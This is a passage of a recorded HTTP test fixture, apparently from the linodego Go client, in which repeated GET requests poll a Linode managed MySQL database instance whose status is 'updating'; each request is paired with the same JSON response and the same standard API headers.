Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, 